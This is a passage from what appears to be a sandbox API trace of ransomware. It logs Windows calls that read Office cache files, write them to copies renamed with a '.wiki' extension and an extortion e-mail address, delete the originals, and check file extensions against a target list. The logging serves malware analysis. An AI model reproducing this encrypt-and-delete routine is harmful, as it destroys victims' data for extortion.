nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x980, lpOverlapped=0x0) returned 1 [0044.700] ReadFile (in: hFile=0x190, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.700] WriteFile (in: hFile=0x178, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.700] SetEndOfFile (hFile=0x178) returned 1 [0044.701] CloseHandle (hObject=0x178) returned 1 [0044.702] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.702] SetEndOfFile (hFile=0x190) returned 1 [0044.702] CloseHandle (hObject=0x190) returned 1 [0044.703] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.703] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0044.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.703] lstrlenW (lpString=".doc") returned 4 [0044.703] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.703] lstrlenW (lpString=".docx") returned 5 [0044.703] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.703] lstrlenW (lpString=".pdf") returned 4 [0044.703] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.703] lstrlenW (lpString=".xls") returned 4 [0044.703] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.703] lstrlenW (lpString=".xlsx") returned 5 [0044.703] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.703] lstrlenW (lpString=".ppt") returned 4 [0044.703] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.703] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.703] lstrlenW (lpString=".zip") returned 4 [0044.704] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.704] lstrlenW (lpString=".rar") returned 4 [0044.704] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.704] lstrlenW (lpString=".bz2") returned 4 [0044.704] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.704] lstrlenW (lpString=".7z") returned 3 [0044.704] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.704] lstrlenW (lpString=".dbf") returned 4 [0044.704] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.704] lstrlenW (lpString=".1cd") returned 4 [0044.704] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.704] lstrlenW (lpString=".jpg") returned 4 [0044.704] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.704] lstrlenW (lpString=".doc") returned 4 [0044.704] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.704] lstrlenW (lpString=".docx") returned 5 [0044.704] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.704] lstrlenW (lpString=".pdf") returned 4 [0044.704] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.704] lstrlenW (lpString=".xls") returned 4 [0044.704] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.704] lstrlenW (lpString=".xlsx") returned 5 [0044.704] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.704] lstrlenW (lpString=".ppt") returned 4 [0044.704] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.704] lstrlenW (lpString=".zip") returned 4 [0044.704] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.704] lstrlenW (lpString=".rar") returned 4 [0044.705] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.705] lstrlenW (lpString=".bz2") returned 4 [0044.705] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.705] lstrlenW (lpString=".7z") returned 3 [0044.705] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.705] lstrlenW (lpString=".dbf") returned 4 [0044.705] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.705] lstrlenW (lpString=".1cd") returned 4 [0044.705] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.705] lstrlenW (lpString=".jpg") returned 4 [0044.705] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.705] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.705] lstrlenW (lpString="Proof.xml") returned 9 [0044.705] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0044.720] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1347) returned 1 [0044.720] CloseHandle (hObject=0x184) returned 1 [0044.720] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0044.720] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.720] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0044.720] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.721] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.721] GetLastError () returned 0x0 [0044.721] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x543, lpOverlapped=0x0) returned 1 [0044.732] WriteFile (in: hFile=0x198, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x550, lpOverlapped=0x0) returned 1 [0044.733] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.733] WriteFile (in: hFile=0x198, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.733] SetEndOfFile (hFile=0x198) returned 1 [0044.733] CloseHandle (hObject=0x198) returned 1 [0044.734] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.734] SetEndOfFile (hFile=0x184) returned 1 [0044.734] CloseHandle (hObject=0x184) returned 1 [0044.735] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.735] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0044.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.735] lstrlenW (lpString=".doc") returned 4 [0044.735] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.735] lstrlenW (lpString=".docx") returned 5 [0044.735] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0044.735] lstrlenW (lpString=".pdf") returned 4 [0044.735] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.735] lstrlenW (lpString=".xls") returned 4 [0044.735] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.735] lstrlenW (lpString=".xlsx") returned 5 [0044.735] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0044.735] lstrlenW (lpString=".ppt") returned 4 [0044.735] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.735] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.735] lstrlenW (lpString=".zip") returned 4 [0044.735] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.735] lstrlenW (lpString=".rar") returned 4 [0044.735] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.735] lstrlenW (lpString=".bz2") returned 4 [0044.736] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString=".7z") returned 3 [0044.736] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.736] lstrlenW (lpString=".dbf") returned 4 [0044.736] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.736] lstrlenW (lpString=".1cd") returned 4 [0044.736] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.736] lstrlenW (lpString=".jpg") returned 4 [0044.736] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.736] lstrlenW (lpString=".doc") returned 4 [0044.736] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString=".docx") returned 5 [0044.736] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0044.736] lstrlenW (lpString=".pdf") returned 4 [0044.736] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString=".xls") returned 4 [0044.736] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString=".xlsx") returned 5 [0044.736] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0044.736] lstrlenW (lpString=".ppt") returned 4 [0044.736] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.736] lstrlenW (lpString=".zip") returned 4 [0044.736] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.736] lstrlenW (lpString=".rar") returned 4 [0044.736] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString=".bz2") returned 4 [0044.736] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.736] lstrlenW (lpString=".7z") returned 3 [0044.736] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.737] lstrlenW (lpString=".dbf") returned 4 [0044.737] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.737] lstrlenW (lpString=".1cd") returned 4 [0044.737] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0044.737] lstrlenW (lpString=".jpg") returned 4 [0044.737] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.737] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.737] lstrlenW (lpString="Proof.xml") returned 9 [0044.737] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0044.737] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1458) returned 1 [0044.737] CloseHandle (hObject=0x184) returned 1 [0044.737] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0044.737] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.737] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0044.737] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.738] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.738] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.738] GetLastError () returned 0x0 [0044.738] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0045.038] WriteFile (in: hFile=0x198, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0045.039] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.039] WriteFile (in: hFile=0x198, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.039] SetEndOfFile (hFile=0x198) returned 1 [0045.039] CloseHandle (hObject=0x198) returned 1 [0045.040] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.040] SetEndOfFile (hFile=0x184) returned 1 [0045.040] CloseHandle (hObject=0x184) returned 1 [0045.041] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.041] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0045.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.041] lstrlenW (lpString=".doc") returned 4 [0045.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.041] lstrlenW (lpString=".docx") returned 5 [0045.041] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0045.041] lstrlenW (lpString=".pdf") returned 4 [0045.041] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.041] lstrlenW (lpString=".xls") returned 4 [0045.041] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.041] lstrlenW (lpString=".xlsx") returned 5 [0045.041] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0045.041] lstrlenW (lpString=".ppt") returned 4 [0045.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.041] lstrlenW (lpString=".zip") returned 4 [0045.041] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.041] lstrlenW (lpString=".rar") returned 4 [0045.041] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.041] lstrlenW (lpString=".bz2") returned 4 [0045.041] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.041] lstrlenW (lpString=".7z") returned 3 [0045.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.042] lstrlenW (lpString=".dbf") returned 4 [0045.042] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.042] lstrlenW (lpString=".1cd") returned 4 [0045.042] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.042] lstrlenW (lpString=".jpg") returned 4 [0045.042] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.042] lstrlenW (lpString=".doc") returned 4 [0045.042] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.042] lstrlenW (lpString=".docx") returned 5 [0045.042] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0045.042] lstrlenW (lpString=".pdf") returned 4 [0045.042] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.042] lstrlenW (lpString=".xls") returned 4 [0045.042] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.042] lstrlenW (lpString=".xlsx") returned 5 [0045.042] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0045.042] lstrlenW (lpString=".ppt") returned 4 [0045.042] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.042] lstrlenW (lpString=".zip") returned 4 [0045.042] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.042] lstrlenW (lpString=".rar") returned 4 [0045.042] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.042] lstrlenW (lpString=".bz2") returned 4 [0045.042] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.042] lstrlenW (lpString=".7z") returned 3 [0045.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.042] lstrlenW (lpString=".dbf") returned 4 [0045.043] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.043] lstrlenW (lpString=".1cd") returned 4 [0045.043] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0045.043] lstrlenW (lpString=".jpg") returned 4 [0045.043] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.043] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.043] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0045.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.414] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1452) returned 1 [0045.414] CloseHandle (hObject=0x170) returned 1 [0045.414] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0045.414] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.414] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.414] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.414] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.415] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: 